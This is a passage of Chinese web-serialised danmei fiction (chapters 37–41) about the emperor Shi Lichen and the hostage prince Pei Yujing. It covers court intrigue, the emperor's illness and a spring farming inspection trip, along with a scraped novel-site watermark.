但现在,师离忱指腹也是暖的,像是从内里在发热,温度比平时高了许多,这才一小会儿,额角便生了一层薄汗。 乐福安反应过来,恼怒的追进殿内,发誓就算是违背圣上口谕,也要把这胆大包天的南晋人赶出去。 然而他却见,那高大身躯挨着龙榻,手里拿着拧干的帕子,俯身为圣上拭汗,擦手。 随着裴郁璟的动作,他后背的伤口开始往外渗血,但他好像感觉不到疼痛,目光阴翳地锁着圣上。 也不知打得什么主意。 “……” 乐福安顿时哑然,不知是该骂还是不该骂,还别说裴郁璟的举止比那些个没轻没重的小太监们仔细多了。 瞧在他伤这么重还为圣上侍疾的份上,乐福安态度软化了些,不阴不阳地冷哼一声,到底没说什么。 圣上当得起这世上最好的对待,在他看来,这些都是裴郁璟该做的,不过他还是叫人给裴郁璟一个软垫,免得此人伤重死在圣上榻前。 * “重置……重置失败!重置失败!失败!重置!重置!重置失败!”系统的声音忽近忽远。 停顿片刻,系统滋啦作响,“检测世界线偏移,检测人物严重偏移,检测男主黑化值百分百,男主黑化值百分之九十九,男主黑化值百分百,男主黑化值百分之九十九……” “人物重置失败,系统开启世界线重调,重调成功。开启世界线干预,开启事件干预,开启惩戒系统试行,开启人物监测提醒!” 伴随朦胧的声音,一场大火从观星台的纱幔燎起,酒盏碎裂一地,灼热的烈火暖不透发凉的心。 师离忱猛然惊醒,心口嘭嘭跳得剧烈,久久不能平息。 夜色笼罩了大殿,一片黑暗。他的手似乎被一只暖烘烘的大掌笼罩着,在慌乱之中被他一把甩开,隐约听到一声闷哼。 师离忱扯下挂在帐头做配的玉珏,砸在地上,眼睛在黑暗里寻找呼唤:“福安!福安!” 声音带着病中的沙哑,还有一丝微不可查的依赖。 几乎在顷刻间,乐福安披了件外衣都来不及穿好,急匆匆从隔间起身绕了过来,连带着鱼贯而入的宫人,掌灯将殿中点亮。 灯亮起的那一刻,师离忱眯着双眸,语含愠怒:“把火灭了!”掌灯的宫人们惶恐,急忙将刚点的灯又熄灭。 殿内重新恢复黑暗。 “都退下。”乐福安呵退宫人,上前守在师离忱的榻前,轻声细语地哄着:“圣上梦魇了?” 隔着被褥,乐福安有一下没一下地在师离忱心口拍着,“别怕,有老奴在呢,圣上安心,老奴一直都在。” 师离忱情绪渐渐平复,心有余悸地闭上眼睛,困意席卷回来,他慢吞吞地打了个哈欠。 在乐福安很有技巧地拍打下,师离忱呼吸变得浅而绵长,又重新睡过去了,半梦半醒间他似乎轻声呢喃了句:“裴……” 裴。 这里只有一个姓裴的。 黑暗中,踏道一旁的裴郁璟面色苍白,皇帝甩开他的时候十分果断,导致他牵扯到了背部的伤口。 伤口的疼痛,反倒让他脸上却带起一丝狰狞的笑,不是愉悦,是气的。他不断摩挲着的掌心,似乎还能感受皇帝手背肌肤的细滑。 他守了小皇帝一天一夜。 可帝王将他弃若敝履,急切地呼唤起了老太监。 这伸手不见五指的黑夜,他眼力却好的要命,把帝王对总管大监的依赖看得一清二楚。 凭什么小皇帝看不见他! 居然舍近求远,把他甩开叫老太监! 越看,裴郁璟越憋屈,心口压着的一团怒意越旺,他牙根发痒,恨不得直接在皇帝脸上咬一口,以占据小皇帝的全部注意力。 直到听见小皇帝口中模模糊糊吐出了一个“裴”字。 瞬息间。 他满脑子什么念头都没了,怒火化春风,胸腔被塞进了另一种不知名的,奇异的情绪。 满足。 比起“裴”,裴郁璟更想让师离忱唤他另外一个名字,仇苍。 就像前两日站在兽园高台之上那样,居高临下地看着他,唤他的名字。 他舔了舔干涩的唇,倏忽间,他不知怎的竟想起,那日沈绍复杂的语气,“你是不是喜欢月商帝?” 宛若惊雷劈开天灵。 裴郁璟猛地站起来,正撞到了木架。 “嘭!”整个龙床架子都跟着震了震。 乐福安被陡然的变故吓了一跳,紧忙护着圣上,好在师离忱睡得很沉,只动了动眉梢,并未被惊醒。 乐福安扭头一瞧,是裴郁璟在作妖,顿时气不打一处来。圣上睡熟了,他不想节外生枝,只压低嗓子骂了句,“不守着就滚,别吵圣上歇息。” 裴郁璟脑袋砸得懵懵的,两眼发直的站着好一会儿,等缓过神来又慢吞吞地坐了回去。 他才不滚。 仗着黑不溜秋的夜,他就这么趴在床头,隔着薄薄的纱帐偷瞄熟睡中的,英明神武的帝王。 帝王长长的卷发在龙榻上铺开,他把脸凑过去,嗅到一股清冽的淡香。 啧。 又有心智,又有魄力。 让人情不自禁想要征服,或臣服。 裴郁璟指尾勾着圣上的一缕长发他抬眸间眼含戾气地扫了眼十分碍眼的老太监,眸底幽暗,开始琢磨着怎么取而代之。 首先。 他要‘裴郁璟’这三个字在帝王心里的地位占比,更大一些。 * 京都又下了一场雪。 叙旧结束的沈绍就像放风结束的囚徒,又被关回了镇国公的府邸,专门有个院子重兵把守。 镇国公也闲着,就天天找他下棋。 昔日战场上还拼个你死我活,今日就像多年老友。 沈绍心不在焉。 那日裴郁璟嘴里的话,他一个字都没信。 什么不喜欢,眼珠子都快黏人家月商帝身上了,被弓箭手围攻,伤得路都走不利索,一听到月商帝昏迷就爬起来去打探情况。 沈绍真想让裴郁璟照照镜子,看看自己那狼子野心的样! 他如今作为战俘,不能随意走动,很难在明里暗里的监视下与裴郁璟取得联系。 不过裴郁璟一向是有主意的,既能和月商帝交涉,把他提来到上京,想必是有其他计算。 镇国公白棋吞下黑子,道:“你又输了,有心事。”他笃定。 沈绍回神,勉强笑道:“不过是在忧心被俘的将士们。” “且放宽心,我月商不苛待俘虏。”镇国公呵呵笑着,“只要两国交涉不过分,但凡活着被降的士兵,都派去挖矿了,一日三餐供食,每隔六个时辰轮换,专门管控。” 沈绍沉默。 他没被提来京都之前,也被安排去了挖矿,他以为是特例,没想到是所有俘虏都如此对待。 镇国公道:“圣上说了月商国有气量,对与俘虏无需折辱,不必坑杀,但也不能让俘虏白吃闲饭,干脆拿来当徭役用了。” 不过高祖皇帝打下江山后,改革制度,徭役制早被废除多年,现在都是雇工征工的形式,征工成功后每年都有合规的补贴,可以选择由衙差送到家中,或者本人领走。 南晋与月商规章制度不通,南晋至今还是征徭役的形式,对于餐食没有严格的划分,导致食量大的徭役根本吃不饱,南晋内乱也有一部分来自于徭役起义,有些军兵调遣去镇压叛乱。 所以沈绍头一天到矿场的时候,甚至不敢信热乎乎的粟米热菜是他们的餐食。 月商对于百姓能不能吃饱这件事,似乎看得很重,包括军中餐食规格也是十分严苛,不许任何克扣,有定量,不够可添,但不许浪费,不许强撑,否则都要按军规来处。 从某方面来说。 沈绍格外羡慕月商将士们。 “我与你对战过几次,知晓沈将军用兵老道,只是偶有鲁莽,你若是想圣上并不介意将你招安。” 镇国公笑了笑,似是看出沈绍所想,又道:“沈将军先别急着拒绝,也别嫌我啰嗦。” 沈绍默然须臾,才道:“我族皆在南晋,不可叛国是底线。” 镇国公似不在意,“南晋多出文人才子,若非两国邦交紧张,圣上还想召引些文人谋士来月商,圣上与文武向来一视同仁,既叫我多劝劝你,我自然要多废些口舌。”他笑得爽朗,“你若不愿也不必为难,我还能强按牛头喝水不成。” 这话说得直白,沈绍讶异抬眸,四目相对,二人心照不宣一同笑了起来。 …… 京都雪厚,雪停之后的温度最冷,有条件的手炉不离身,没条件的捂着被褥在朝廷设立的暖堂里过活。 正如一开始预料的一般。 白灾严重,在有预防的情况下,伤亡人数大幅度的减少,百姓诉求简单,有地方饱腹取暖足以。 但有灾害也就意味着,总有那么些心术不正,贪婪的人想从中牟利,原先躲藏的劫匪冒了头。 朝廷对于匪患向来是不留情面,招安若成拉去矿场做一辈子苦工,不成便围剿击杀。 穆子秋被外派出去剿匪,辛辛苦苦一两个月回来,满心欢喜等着第二日上朝时找圣上讨赏,结果被亲爹泼了一盆冷水。 镇国公道:“圣上病了,最近一段时间不上朝。”他满面严肃的告诫穆子秋,“圣上肯用你是你的福气,你要忠心,再忠心!讨赏老老实实的不许打歪主意。” 一听圣上病了,穆子秋坐不住就往外跑,镇国公拉都拉不住,“别莽撞!”他只来得及叮嘱这么一句,就见那臭小子跑得连背影都瞧不见了。 镇国公嘀咕,“倒是比我还忠心……” 他听见圣上病了之后,只是急了会儿,可没想着立刻进宫侍疾。 第38章 窗棂透出的天光,为灰蒙蒙的殿中蒙上一层光雾。外头积了雪,连带着光都是白透白透的。 师离忱醒来,嗓子干哑得难受,以至于一时说不出话,即便是光感不重他也难受得用手背遮住了双眸,牵扯到小臂伤口的疼痛,反倒让他大脑更清明一些。 师离忱无力轻咳了两声才找回了点声音,“来人……水……” 声音却又轻又沙哑,更像是压着嗓子在说话,说完话后不适感加重,他又敛眉咳嗽起来,这回咳得重,喉咙发疼。 忽地。 一只大掌承托住圣上的后颈,将人扶了起来,盛着一半的茶盏递到圣上唇边,低声道:“水来了。” 师离忱眼都不必睁,就听出身边的人是裴郁璟。后颈贴着肌肤的掌心炙热,烫得他微微蹙眉,有些排斥。 但他又不想动,便就着裴郁璟的手,让裴郁璟托着杯底把水喂进了口中,总算缓解了一番嗓子的不适。 “圣上醒了!”乐福安听到动静,急忙进殿,圣上发热发了半日,又昏睡了一天一夜,必然是渴了。 他顺手把桌上的茶水也一并带过来,见圣上喝得急,乐福安也不好替换裴郁璟的位置,只等着圣上喝完半盏,他再添上一些。 师离忱连喝了三盏茶,眉心舒展开来,茶盏再送到唇边时,他微微偏头拒绝,“不喝了。” 裴郁璟有些遗憾地盯着师离忱被水完全沾湿的唇瓣,得了滋润,猩红的唇色反着薄薄水光,透着一股子嫩气。 小皇帝病气未散,眉眼间带着一股子病恹恹地倦怠,阖起的眼眸也死活不愿意睁开。 喝完了茶水,便软绵绵地将半个身子都靠在他怀里,把他当了靠枕,理所当然的仿佛世上一切都该为他服务。 裴郁璟对乐福安耸了耸肩,一副‘这可不能怪我’的无赖样,气得乐福安狠狠翻起白眼。 然而圣上只是懒得动,顺势靠了会儿。 然后他觉得裴郁璟衣物之下,那似能随时迸发出力量的紧实肌肉实在太硬,身子一软又跌回了软衾。 裴郁璟还在上扬的嘴角瞬间拉平。 师离忱打着哈欠,“福安,去把内阁上递的奏疏给朕搬过来,朕今日在寝殿批阅。” “老奴这就去。”乐福安应着,又不放心地瞥了眼裴郁璟,警告道:“你给咱家安分些!” 这才一步三回头地离开。 殿中陷入沉寂。 “朕不想和你绕弯子。”虽然润过了嗓子,可师离忱低沉的声音中还是带了些沙哑,“南晋秋家商号是你的,鞑靼两个小部族是你的,鹿亲王的私兵是你出钱养的,处理起来或许会麻烦些,但不是问题。” 秋家商号,是两国之间最大的行商。 说着,师离忱语气一顿,慢条斯理道:“这么大一盘棋,你是想要朕的江山,还是想让天下大乱?” 所谓帝王之榻岂容他人酣睡,师离忱可不想辛辛苦苦维持的和平江山,又被打回一片乱象。 手中突然一凉,有个事物被塞到了手心。师离忱挑起一只眼皮,漫步尽心地扫了一眼,是个令牌。 “这是私兵调令。”裴郁璟坐在床沿,单手支撑在床头,手指把玩着一缕顺滑的卷发,眼底一片幽暗:“圣上既知我本名仇苍,便该知当年仇将军之死,月商南晋鞑靼三方皆有参与。” 南晋功高盖主的仇将军,何尝不是鞑靼与月商的心腹大患,战。争只是暂停,并不是完全结束。 可惜南晋皇帝看不清这一点,硬是要把反叛的名头往仇将军头顶扣,那么月商与鞑靼自然要在暗中推波助澜。 裴郁璟嘴角笑意冰冷,“天下不乱我心难安啊。”全然明牌的情况下,他连一点哑谜都懒得打了。 师离忱意味深长地喔了声,冰冷的令牌在手里转了圈,背后雕刻的猛兽纹路栩栩如生。 “那你把私兵调令给朕……”还只给了一半。师离忱哼笑道,“是想借朕的刀杀人,还是想坐收渔翁之利?” 一半的私兵调令并不能调遣使用,只有与鹿亲王手里的另一半调令合并,才是一个完整的调令令牌。 要用这个,还得找到另一半。 不如围剿来得快。 唯一的好处,可能就是裴郁璟不能再插手参与鹿亲王的谋反。 裴郁璟浑不在意,道:“改主意了而已,算是给圣上的投名状?”他俯身,视线牢牢锁定着帝王明艳的面庞,俊美深邃的眉眼认真道:“而且我想看看,圣上为了月商的太平,能忍我到哪一步。” 师离忱提起一点兴趣,眸子倦怠地半阖,就这么看着裴郁璟,“怎么了,又背着朕偷偷作什么妖?” 谈话间,他注意到裴郁璟额角一块明显的青紫,他回忆一番前两天并没有把男主的头当铁砸。 裴郁璟身上出现了他不知道的伤痕。师离忱有些不愉,问:“你脑袋上怎么回事?” “不小心撞了一下。”不知为何,裴郁璟心情似乎又好了,唇边自然而然地带起一抹弧度,“圣上关心我?” 师离忱笑了笑,招手道:“来。” 每当小皇帝笑得如此和善温柔的时候,必然有诈。裴郁璟背骨下意识绷紧一瞬,嗅到了危险的气息。 然而帝王弯弯的眼梢,肤白唇红,笑起来昳丽夺目俊美得不像话,他脑子还没反应过来,头就已经听话得乖乖凑过去。 头皮传来熟悉的拉扯感,帝王揪住了他的发根,把他狠狠往床架上一撞,然后才松开手,若无其事道:“现在好了。” 师离忱望着帐顶,“以后别带这些乱七八糟的伤,不是朕弄的都不算。” 裴郁璟捂着再次受到重创地额角,眼前阵阵发黑,在小皇帝床前守了一天一夜没得个奖赏就算了,还被砸了。 他气笑了,“不小心磕的也不行?” “不行。”圣上很无理。 看着动都不想动一下的师离忱,裴郁璟气得牙痒痒,决定要给帝王一点教训。 他目光准确地锁定了那双水润的唇瓣上,想到什么就做什么,干脆利落地低头一口咬下去。 “?” 万万没想到有这么个结果,师离忱反应过来,震怒,一脚踹上裴郁璟腰腹将人蹬开坐起身来。 帝王眸中都是盛怒的火气,嫌恶地擦了擦嘴,指着裴郁璟大骂:“哪里学来的浑招!为了恶心朕,你连脸都不要了?!” 裴郁璟不以为然地舔了舔唇,神情不改阴鸷,眸子幽深地盯着师离忱的唇瓣,心里头只有一个想法。 果然是温软的。 第39章 被一个男人亲了。 师离忱脸都是绿的,原本还有气无力的,眼下精气神都被气回来了,一张芙蓉面被气得带上薄怒,衣领微敞,连带精致锁骨脖颈都能看出一层红意。 裴郁璟揉着腰腹顺势坐在踏道,昂首盯着师离忱,还在回味着感受,情不自禁露出一个心满意足的笑。 在这样的情形下,活脱脱像在挑衅。 师离忱猛地咳嗽起来,指着裴郁璟的手都在抖。 这是气狠了。 生怕小皇帝背过气去,裴郁璟一句话都没敢说,任由皇帝扯了床头玉珏砸在身上发泄着怒意。 等师离忱缓过劲来,眸中压抑的怒火几乎要克制不住,“你把朕当什么了,你怎么敢!” 帝王的威严不容挑衅,对于圣上来说,此举与折辱无异。 认为被折辱的师离忱,阴沉着脸,突然俯身一手拽住了裴郁璟的衣襟,把人提起来。 他看着裴郁璟,笑得渗人嗓音沉哑:“别以为学几个浑招就有用了,你当朕不会?” 裴郁璟昂首,呼吸一窒。 龙床上的帝王,披着一头如藻丛般浓黑的长发在周身,眉眼间带着阴沉沉的戾气,怒气带动了眼尾发红,唇角上挑着一抹弧度,半垂的眼底全然是上位者居高临下的轻蔑与恶劣。 顷刻间,又生了坏心思。 “吧嗒。” 裴郁璟出神之际,腰间革带陡然松了,他瞥眼一看,眸底微暗了暗,小皇帝另一只手抽出了革带尾,解开了革带的扣子。 “看着朕。” 师离忱不满他视线转移,掐住了裴郁璟的下巴,让他永远只能仰望。 师离忱将革带折叠起来。冰凉的革带,代替了圣上的手,在裴郁璟的下颌处拍了拍,“老实点。” 圣上语调低沉,像是吩咐小玩意。 裴郁璟看着笑意玩味的帝王,眸色忽明忽暗,呼吸极力克制在平稳,心口却跳得很欢。 即便是殿内有地龙,革带依旧很凉,不能被人体温度所软化。 师离忱垂着眼,歪了歪脑袋,清晰看到革带轻轻拍打过的下颌线倏然紧绷,连带脖颈的青筋也冒了出来。 似在隐忍着情绪,宛若随时都能爆发。 再看裴郁璟的表情,眉心紧蹙,悄然咬着后牙,双目通红呼吸紊乱,一副惨遭羞辱的模样,盯着他的眼神也像是发狠,透着一股子野性的凶悍。 生气?忍耐? 不管是什么结果,师离忱都很满意裴郁璟现在的表现。 他将贴着裴郁璟下颌的革带,顺着流畅的线条往下滑,来到脖颈,路过喉结,明显看到裴郁璟喉结滚动了一下。 师离忱心底犹然生出了怪异感,审视着裴郁璟的表情,继续将革带往下滑,落到衣襟,挑开松散的衣襟,强壮有力的身躯显出了冰山一角,以及从肩头缠绕在胸前的绷带。 “啪!” 革带在胸口抽了一下,瞬间激起一片红痕。 裴郁璟闷哼一声,像是压抑许久的情绪都抒发了出来,立刻桎梏住了师离忱的手腕。 “嗯?”师离忱笑了:“这就按捺不住了?” 是觉得被羞。辱了?想发火了? 裴郁璟喉头又滚了滚,嗓音暗哑,“圣上伤口绷开了。” 他目光偏移,落到师离忱握着革带的小臂上,柔软宽松的衣袖上滑,缠在小臂的绷带里渗出了血色。 师离忱压根不觉得疼,或者可以说这点疼痛根本不算什么,他完全不动声色的承受了。 “大惊小怪。”师离忱嗤了声,革带丢回裴郁璟怀里,顿时没了继续恶心裴郁璟的心思。 赤虎外衣几乎有大半被挑开,堆在腰间,裴郁璟接住了革带,顺便把散开的衣物穿好,将革带重新束回腰间。 只是心绪还未平稳,双手隐藏着兴奋的颤栗,呼吸难免有些不稳重,扣革带时偏了两三回没收进去尾。 被师离忱看到,嘲弄得笑出了声,“就这点耐性,才哪到哪儿。”连一半的衣物都没脱完,他警告道:“别有下回,否则朕不会轻易饶你。” 裴郁璟动作一顿,忽地抬眼看着师离忱,展出一个意味不明地笑容:“璟一定牢记。” 看着他那笑,总觉得有别的深意。师离忱眉心突突跳了两下,倏忽间又感觉到一丝微妙的怪诞。 没来得及细想,殿外便传来一阵喧闹。 一个人影猛冲了进来,后头跟着没能把人拦住的福生,不方便动刀的郞义,“世子爷!不可擅闯!” “御前不可失礼!” 连番劝拦无用,眼见穆子秋进了寝殿,他们止步于隔间,浑身冒汗齐刷刷跪地。郞义请罪:“臣失职,请圣上责罚!” 穆子秋早听说了圣上这回受伤,全赖那南晋质子,进内殿便瞧见坐在龙床前踏道的裴郁璟,登时气势汹汹呵道:“裴郁璟!你……” 他还没发作,就听帐内传出圣上不辨喜怒地嗓音:“穆世子好大的威风啊。”一声惊醒了穆子秋,他急忙跪下,“臣不敢。” 师离忱低低咳嗽两声,冷笑道:“你不敢?朕瞧你敢的很,今日来闯朕的寝宫,明日是不是要坐朕的龙椅了?” “不是的!”穆子秋当即否认。 他委屈极了,“臣这次剿匪回来从远商手里购得一株珍稀千年山参,还有域外才有的雪莲,听说圣上病重臣带着东西就进宫了,可他们不让我来见圣上,也不帮我和您通报,我这才硬闯,圣上是嫌我烦吗?” 一只病白的手挑开床帐,师离忱靠坐在床上,瞥眼看向穆子秋:“你倒有自知之明,三天两头往宫里跑,也没个正事,朕没那么闲。” 穆子秋更难过了,少年藏不住事,眼眶都红了,满脑子都是圣上根本不想见他。 炉香缓缓上飘,殿中寂然。 隔间还跪了一地请罪的金吾卫和太监宫女,穆子秋今日擅闯寝宫的举动,若传出去,御史台弹劾镇国公的折子马上能堆满御案。 圣上烦了。 师离忱揉了揉眉心,斥道:“每人五下廷仗,都滚去长长记性。” 他扫一眼穆子秋,这小子在禁军呆了那么久还是不够稳重,他道:“中郎将你也不必做了,朕调你来御前。” 穆子秋悲转为喜,随后又听圣上慢条斯理地说了句,“树大招风,别总给你父亲惹麻烦。” 第40章 穆子秋领了这回的五廷仗,加上上回欠着的十廷仗,总归十五廷仗最后是被金吾卫抬着回的镇国公府。 人是昏着的,嘴角是上扬的,镇国公怀疑儿子被打傻了。 乐福安亲自登门,好声好气的对镇国公道:“国公爷,圣上口谕。” 镇国公意会,恭敬跪听。 乐福安道:“穆世子剿匪有功,功过相抵,但穆卿家需知纵子如杀子,要好好言传身教才是,万万不可再出现擅闯御前一事。” 擅闯御前。 镇国公脸刷一下就白了,战战兢兢地受了口谕,将乐福安送出府门又塞了例行红包,低声道:“福公公辛苦,还望公公转告圣上,老臣定会严加管教这逆子!” 乐福安应和着,“圣上也是惦念着国公爷不容易,再者穆世子本性不坏,这才把事悄悄压下来,人也是悄悄的抬回来。” “是。” 镇国公笑得勉强,后背全是冷汗。 他哪能想到这逆子能做出擅闯圣上寝宫的事来。 这事往小了可以说成刺杀,往大了说可以说成谋反,穆家圣眷浓厚不轻易站队本就招人嫉恨,要是传出去那还得了。 朝中做官,向来是牵一发动全身。 将乐福安送走,镇国公当即冷脸,回大堂看着昏迷不醒地逆子,人还伤着,打又打不得,头疼的直叹息。 “我的儿啊!”国公夫人收到报信匆匆赶来,忙不迭的让府医去瞧穆子秋。 府医掐脉又检查一番伤处,道:“夫人放心,世子并未伤及筋骨,皮外伤养上几日就能大好。” 国公夫人这才擦着泪松一口气,随即扭头瞪向镇国公:“你亲儿子挨打,怎么都瞧不见你心疼?!” “淑华这是哪里的话,我怎会不疼子秋。”镇国公冤死了,拧着眉道:“子秋行事鲁莽,圣上已然留情,否则这十五廷仗下去他焉有命在!” “外头有多少双眼睛盯着咱们家,给他个中郎将的殊荣是圣上在保咱们家,让他去剿匪立功是给他机会,他个蠢货半点都不明白!” 镇国公恨铁不成钢,太后掌权本就得罪了不少仇家,加上穆家此行胜战归来,为表忠心对任何人都不假辞色,这朝廷当中不是所有人都心胸开阔。但凡找到一点错处,就会往死里参。 而廷仗是很有讲究的一种刑罚,内廷实行廷仗的金吾卫格外有技巧。 手重,一板子就能隔着皮肉打得筋骨断裂,两板子下去皮开肉绽,不到十板就能要一条命。 手轻,那就是皮外伤,只是外观瞧着可怖,流点血,但不伤内里,不到四五日就能活蹦乱跳的下榻。 穆子秋受了十五板,昏睡一番,未伤筋骨,显然是圣上刻意嘱咐过的结果。 镇国公沉默片刻,叹道:“你呀,别老惯着他,惯得他不知天高地厚的,学了一身混账习气!日后这路可怎么走啊。” “不许你这么说他!”国公夫人红了眼眶,“出去打听打听吧,京都城谁家的公子哥有子秋这般能耐,偏偏你瞧不上他!你一年管他几回,这般挑三拣四!” 镇国公百口莫辩,“夫人,我不是这个意思……” “你就是这个意思!” 国公夫人正值盛怒,陡然打断了镇国公,压根不想听他废话,叫上小厮抬起穆子秋,一言不发地转身就走。 “夫人!夫人!”瞧着架势,镇国公急了,大步追去。 * 奏折搬来了紫宸殿,师离忱披了件狐裘在御案前一个个圈点过去,乐福安汇报完镇国公府的情况,熬好的两碗汤药便被端进了殿内。 一碗摆在师离忱面前,一碗摆在裴郁璟面前。 师离忱低咳两声,视线从头到尾都没从奏疏上移开过,语调慵懒:“放一边先晾一晾。” “已经晾过了。”乐福安怎会不知自家圣上的秉性,一句话就把圣上的托词堵了回去,“再不喝就要冷了。” 师离忱叹了一声,看着乐福安。 乐福安摇头,胆大且坚定:“这回不行,不能倒掉。” 师离忱闭目揉着眉心,伸手接过了药碗,乐福安喜笑颜开地递过去,等圣上一口气闷完,及时将食盒里的蜜饯递过去。 师离忱面无表情地塞了一枚,酸酸甜甜地压住舌尖的苦味,他不爱喝药,就是不喜欢这股大把大把甘草也掩不住的苦涩药味。 倏地,殿内响起一声轻笑。 师离忱瞥眼扫去,裴郁璟咬着纱布在换药,结实健硕的胸膛完全展示在外,正看着他的方向,眸中还带着掩饰不住的笑意。 师离忱冷笑,“有你苦头吃的。” 乐福安无声偷笑了一下,圣上就乐意玩点不痛不痒的小把戏,真真是叫人喜欢。 裴郁璟故作可怜,“圣上的蜜饯能分我一点吗?” “想得美。”师离忱哼笑,摆摆手让乐福安退下,继续提笔低眼批阅起奏折,漫不经心道:“朕不虐生,赶紧喝了药好好养着,别死了。” 换完药,穿好衣物,裴郁璟就趴在了榻上,从他的位置微微偏头,就能轻易看到御案前心神专注批折子的师离忱。 眉眼平静,眼眸无波无澜,朱笔提写,一本阅完立刻就换下一本,左右两摞叠得高高。 裴郁璟的心也静了。 视线固定在师离忱身上,一刻也不肯挪开,怎么瞧都不过瘾。 师离忱化身无情的批奏折机器,不代表他对周围的一切毫无感知,裴郁璟的目光太过明目张胆,活像是恶狼盯肉。 师离忱目不斜视,淡淡道:“改策略了?想拿眼神杀死朕?” 裴郁璟调整了一下姿势,试探道:“圣上后宫空空,可有心悦之人?” “无。”师离忱语气平常,“朕不需要。” 从某种程度上来说,他的道德感没那么高,主要是自身欲。望并没有那么强烈。 而且他认为情爱这种东西太麻烦,骨子里也傲,觉得没人配得上他,所以也不乐意碰别人,包括穿书前他身边也都是干干净净,即便少数几次有火气,自己动手也就解决了。 他道:“朕要做的事有很多,攘外安内,奏折都没时间批,更不需要无用的东西。” 有空想那么多杂事,不如多批两本奏折。 帝王的无情之言,还不如给裴郁璟心口扎一箭。 他沉默着把脸埋进了软枕,深深吸一口,枕头里头藏着淡淡熏香,味道与小皇帝身上的如出一辙。 往好处想。 小皇帝还没有心上人。 * 大雪过后,寒意封住了整个月商国。 好在各地州府早早收到信息防备及时,庄家,还有百姓都得到了大幅度的照顾,寒冬就要过去,即将步入初春。 一个冬日,足以让监察司完全步入正轨,各州府设立的监察司确认到位。 原想借着白灾做点乱子的鹿亲王突然联系不上秋家商号,只能先传信想办法稳住封地豢养着的私兵,没工夫再添乱。 九华寺则是监察司接到的第一个机密大案,京都监察司紧锣密鼓的把所有信息收集起来,暗自进行潜伏调查。 一字不差地传回圣上的御案。 当然,一个冬日,在户部不留余力地支持下,秦家军将企图进犯的鞑靼人全部打退。 鞑靼蓝部暂时停止了进犯,南晋新来的使臣也到了京都,送来的黄金一分不差地进了国库。 作为交好的讯号,南晋俘虏也将统计起来,遣反南晋。 通常这样的遣返,并不包括守将,而沈绍就是此次战败的将领之一,一整个冬日镇国公把嘴皮磨破了也没将人招安成功。 圣上向来一诺千金,既然与裴郁璟做了交易,裴郁璟又交了鹿亲王私兵调令作为投诚信号,那么把沈绍放了也无不可。 况且…… 师离忱转着玉戒唇角笑意深深,沈绍未被招降,不代表他不向往,不动心,哪有人天生爱打。仗。 不过是立场不同,局势不同的无奈之举。 有松动,就有出口。 眼下的月商,一派平和,初春到来,在宫中蜗居了一整个冬日的圣上,打算外出春耕视察。 穆子秋自告奋勇,“臣经常去郊外,臣带圣上去。” “世子常去郊外,那是去踏青,圣上是去视察春耕,不是玩乐。”乐福安没好气的纠正穆子秋。 这小子养好伤后就来了御前侍奉,和郞义一般常守圣上左右,虽吵闹了些,但却让紫宸殿多了几分生机。 月商有春耕吉礼,通常春耕视察,要在祭天吉礼过后,携宗亲侯爵及大臣一同入田耕作,寓意“敬天保民”。 通常都会选春雪消融前后的日子,通常那个时间播种存活率最高,有雪水滋润的大地土壤也会肥厚。 但各地州府时间不同,哪有完全一致的播种时间,也要根据温度气候来判断,有时候晚一日下种子,有可能今年收成就会减少两成。 目前就是陆续播种的时间,春耕吉礼大多只是做个样子,要看到百姓真正的耕作情况,还得微服私访。 师离忱打算去离京都城远一些的地方,比如南阳府,那处农作发达,各类农物都有种植的痕迹,能看到最真实的情况。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 师离忱很重视这次春耕出行。 因此将今年的春耕吉礼交给太师代行,又交代了可信任的内阁重臣,安排好了朝中要务,专门调出一个月左右的时间去视察。 这个时代最快的交通工具是马,‘走马’稳而快,千里马驾驭起来有一定难度,只不过这次出行并不是图快,而是要看沿途田庄的情况。 师离忱选了个低调轻便的马车,南阳府虽然离京都近一些,即便驾车快一些来回路程也约莫要半个月。 金吾卫只带了郞义,穆子秋随行,除此以外没有其他侍卫跟随,一切从简。乐福安对此表示不赞同,“圣上安危重要,多带些人吧?” “朕死不了。”瞧着乐福安还要再说,师离忱似笑非笑道:“再说朕就不带你去了。” 一句话就让福公公住了嘴。 看着圣上浅浅弯起的眸子,乐福安无奈地叹了一气,“圣上惯会用这招拿捏老奴。” * 虽是初春,雪水尚未完全融化。 马车如期行出京都。 京都城路面的积雪通常留不到第二日,避免影响出行,雪停后就会有府衙雇用的劳工进行清理。 官道同样负责的州府府衙来处理,不会影响到车马通行。 那些雪就堆在道路两旁,夹带着泥沙和盈盈绿草躺在一块,空气中都弥漫着一股清冽的雪味。 马车驶出京都城百里开外,庄户人家便渐渐稀疏,密林变得多起来。 马车晃晃悠悠地走了四五日,一路在官道前行,途中只在驿站简单休息过便继续赶路。 绕过几座山脉,逐渐靠近泌阳地界,视野便逐渐变得开阔起来,温度也渐渐回升,基本上瞧不见雪的影子。 泌阳虽是个县,但官道上四面八方往来的车马却多,陆续擦肩而过。 所谓盘古圣地,宛汝通衢,蜿蜒河道伴丘行,初春来临商运诸多,往来路过的商队都会选择到泌阳歇歇脚。 当然,水土肥厚也代表着种植谷米的成活率高,今日放晴,温度尚可,是个真正的好天气。 故此师离忱今日选择骑马,乐福安被留在马车上。 一把年纪的老骨头被马车颠了几天脸色都不好了,整日里扶着腰唉哟唉哟,师离忱实在不敢让他出马车,还是躺着吧。 圣上的御马,是一匹通体玄黑的汗血马,行动间马腿带动紧实的肌肉一瞧就极有爆发力,有光晒来,皮毛反出亮光,透出一点暗红。 师离忱骑在马背上,漫不经心地看着不远处田中插秧的佃户,这大概是最早一批的农耕。 郞义和穆子秋一前一后地开道,裴郁璟原本也骑着马在前面,不知何时竟落到了师离忱身侧,与其并肩骑行。 “放任你个把月时间去作妖,你说你死皮赖脸跟出来做什么。”师离忱半个眼神都不想给他,看着弯腰插秧的佃农,慢条斯理道:“不想报仇了?” 南晋那帮害过仇将军的,可还活蹦乱跳呢。 裴郁璟挑眉,哼笑道:“离公子看得真透,这不是怕走得太远,离公子到时候又对我起杀心,倒不如在你眼皮子底下动手,好叫你安心些。” 师离忱莞尔,侧目瞥他一眼,“倒是乖觉。” 裴郁璟展颜一笑,“熟能生巧。” 可能是看惯了裴郁璟虚伪的假笑,当师离忱看到裴郁璟那张俊美阴鸷的脸上,露出了真心实意的笑容,便不由得多看几眼。 